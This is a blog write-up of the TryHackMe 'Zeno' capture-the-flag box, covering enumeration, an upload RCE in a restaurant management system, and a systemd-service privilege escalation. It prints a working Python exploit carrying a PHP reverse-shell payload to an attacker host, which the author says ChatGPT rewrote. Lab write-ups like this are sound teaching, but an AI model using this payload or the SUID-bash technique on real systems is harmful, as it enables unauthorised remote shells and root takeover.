Post

TryHackMe: Zeno

TryHackMe: Zeno

Zeno is a medium-ranked difficulty box on TryHackMe, it requires us to enumerate the system’s attack surface, exploit an outdated service, and abuse service file misconfigurations.

Do you have the same patience as the great stoic philosopher Zeno? Try it out!

Scanning & Enumeration

As always, I run an Nmap scan on the given IP. It returns that only SSH and one other service are running on the host. Let’s dig a little deeper and find out what’s on port 12340.

Using default scripts, we see that it’s an Apache server running on some fairly old software. It returns a 404 for the root page so let’s run a subdirectory search to find a landing page.

Gobuster returns a single hit on a restaurant management system page. I’ll register and see if anything of interest comes about, however if not, then we can start looking for exploits against the outdated PHP and Apache versions.

Another Gobuster command gives us an /admin login page and other resources locked behind higher privileges. Hitting google with “restaurant management system PHP exploits” led me to an RCE method through ‘/admin/foods-exec.php’.

Initial Foothold

I worked on troubleshooting the python exploit for a bit before resorting to ChatGPT to rewrite the script with no errors and cut down on it.

This is what it ended up with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import requests

LHOST = '' 
LPORT = ''
RHOST = '' # Target IP

# Hardcoded info
RPORT = '12340'
FILENAME = 'exploit.php'
UPLOAD_ENDPOINT = '/rms/admin/foods-exec.php'
RS_ENDPOINT = '/rms/images/{}'
PAYLOAD = '''<?php 
    $sock=fsockopen("{}",{});
    $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>'''

def populate_payload(ip: str, port: str) -> str:
    return PAYLOAD.format(ip, port)

def build_endpoint(host: str, port: str, endpoint: str) -> str:
    return f'http://{host}:{port}{endpoint}'

def main() -> None:

    target = build_endpoint(RHOST, RPORT, UPLOAD_ENDPOINT)

    files= {
        'photo': ( FILENAME, populate_payload(LHOST, LPORT).encode(), 'text/html' ),
        'submit': 'Add'
    }

    # Post payload
    requests.post(target, allow_redirects=False, files=files)

    # Go to reverse shell
    requests.get(build_endpoint(RHOST, RPORT, RS_ENDPOINT.format(FILENAME)))

if __name__ == '__main__':
    main()

Make sure you change the Host, Port, and Target, as well as setup a listener before executing the script.

Privilege Escalation

Now that we have a foothold on the box, we can look for ways of escalating privileges. Whenever I land a shell through a webpage without a user, I always look at /var/www for any credentials lying around in config files.

I find a database password for root under a config file in the ‘connection’ directory. I didn’t get anything from the DB so it’s back to looking around for other vulnerable paths.

LinPEAS comes to the rescue after almost 20 minutes of nothingness, there’s a file in /etc/fstab with credentials for someone named ‘zeno’. LinPEAS also discovered a writeable file at /etc/systemd/system/zeno-monitoring.service

I thought I’d have to do some playing around with the service but the creds found worked for Edwards account too. Now we can SSH into edward’s account and grab our first flag:

Edward can run sudo on /usr/sbin/reboot, so logically we can restart a service with ease. Let’s check out the zeno service that LinPEAS found earlier.

We can change the ExecStart key to whatever we want, so let’s give a SUID bit on /bin/bash. Now we need to force a restart on the zeno service to get it working.

After a short system restart, we log back into Edward’s account via SSH and cat the root flag with our new bash abilities.

That’s all, hope this was helpful and/or just a good read. Happy hacking!

This post is licensed under CC BY 4.0 by the author.